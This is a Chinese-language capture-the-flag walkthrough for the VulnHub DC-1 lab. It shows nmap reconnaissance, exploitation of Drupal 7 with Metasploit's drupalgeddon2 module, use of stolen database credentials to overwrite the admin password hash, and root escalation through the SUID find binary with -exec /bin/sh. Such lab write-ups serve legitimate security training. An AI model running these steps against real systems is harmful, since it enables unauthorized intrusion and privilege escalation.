vulnhub通关-1 DC-1（含靶场资源）

一、环境搭建

1.环境描述

描述

描述：
DC-1 is a purposely built vulnerable lab for the purpose of gaining
experience in the world of penetration testing.

Dc-1是一个专门构建的易受攻击的实验室，目的是获得渗透测试领域的经验。

It was designed to be a challenge for beginners, but just how easy it
is will depend on your skills and knowledge, and your ability to
learn.

它被设计成对初学者的一个挑战，但是它有多简单取决于你的技能和知识，以及你的学习能力。

To successfully complete this challenge, you will require Linux
skills, familiarity with the Linux command line and experience with
basic penetration testing tools, such as the tools that can be found
on Kali Linux, or Parrot Security OS.

要成功完成这个挑战，您需要 Linux 技能、熟悉 Linux 命令行和基本渗透测试工具的经验，例如可以在 Kali Linux 或
Parrot Security OS 上找到的工具。

There are multiple ways of gaining root, however, I have included some
flags which contain clues for beginners.

有多种获得根的方法，但是，我已经包括了一些标志，其中包含初学者的线索。

There are five flags in total, but the ultimate goal is to find and
read the flag in root’s home directory. You don’t even need to be root
to do this, however, you will require root privileges.

总共有五个标志，但最终目标是找到并读取 root 用户主目录中的标志。您甚至不需要成为 root 用户就可以做到这一点，但是，您需要
root 特权。

Depending on your skill level, you may be able to skip finding most of
these flags and go straight for root.

根据您的技能水平，您可以跳过查找大多数这些标志，直接访问 root 用户。

Beginners may encounter challenges that they have never come across
previously, but a Google search should be all that is required to
obtain the information required to complete this challenge.

初学者可能会遇到他们以前从未遇到过的挑战，但是 Google 搜索应该是完成这个挑战所需要的全部信息。

题目描述概括（目标）

共有五个flag，最终目标是找到root用户主目录中的flag。

2. 靶场下载

下载地址

https://www.vulnhub.com/entry/dc-1,292/

3.环境启动

1.解压文件

2.在VMware中打开ova文件

3.接下来选择你想导入的路径，进行导入即可

4.注意 遇到这种报错可以忽略，点击重试继续导入

5.开启DC-1后，显示出登录界面就证明环境基本搭建好了

6.网络设置，要与攻击机kali在同一网段，要么都用NAT模式，要么都用桥接模式（我这里用是是NAT模式）

二、渗透靶场

1.信息收集：寻找靶机IP

分析

NAT网段在192.168.1.0/24，所以扫描此网段

nmap扫描存活主机

nmap 192.168.1.0/24

扫描结果分析

扫描出5台存活主机
192.168.1.1 确定是VMnet8的IP
192.168.1.101 不确定
192.168.1.200 不确定
192.168.1.254 确定是网关
192.168.1.102 确定是本机kali的IP

图1 VMnet8

图2 网关

进过第一轮分析后还剩192.168.1.101和192.168.1.200 不确定
接下来进行ping测试

发现192.168.1.200是ping不通，那么确定192.168.1.101就是我们的靶机

2.信息收集：探测端口和服务

命令

nmap -A -p- -v 192.168.1.101

分析

-A：启用操作系统检测、版本检测、脚本扫描和路由追踪
-p-：扫描目标主机上的所有端口
-v：扫描过程中的详细输出

3.访问Web站点

发现是Drupal通用模板

再次查看nmap扫描结果，扫描到通用模板Drupal 7

4.MSF渗透

命令 作用：查找通用模板漏洞

MSF命令简介

msfconsole		进入MSF控制台
search 			搜索相应模块
use           	对应模块
show options  	查看信息
set RHOST  		远程主机ip
run           	攻击

搜索Drupal 7相关漏洞

searchsploit Drupal 7

进入msf

msfconsole

搜索Drupal框架漏洞

search Drupal

利用漏洞进行测试

这里用的是序号1的漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

设置被攻击IP

set rhosts 192.168.1.101

运行此漏洞

run

进入shell

shell

查看当前权限

whoami

发现flag1

提示跟配置文件有关

发现flag4

根据环境描述，进入home目录查看，发现flag4 。flag4提示需要提升权限

发现flag2

根据flag1的提示查看配置文件
默认配置文件路径

/var/www/sites/default/settings.php

发现数据库登录用户名和密码

返回一个交互式shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’

登入MySQL

查看数据库

查看用户表

置换密码

使用官网忘记密码方法

http://drupalchina.cn/node/2128

在站点路径下执行 php scripts/password-hash.sh 新密码

更新数据库密码

update users set pass=‘$S$DHsT3m4kaiQiN.w7oV.pQ64f/Nw5o2DhDZtpR01Uc1.H3MPHWmJR’ where name=‘admin’;

登入Web站点

发现flag3

查看flag3的值：提示用find中的-exec提升权限

权限提升

查看 suid 权限的可执行二进制程序

find / -perm -4000 2>/dev/null

发现find命令

创建一个666文件让find来查找 在查找的过程中使用-exec携带whoami执行命令

find / -name 666 -exec "whoami" \;

进入shell程序，执行命令

find / -name 666 -exec "/bin/sh" \;
cd /root
ls

至此，恭喜你通过了本关卡！

三、相关资源

靶场下载：
https://www.vulnhub.com/entry/dc-1,292/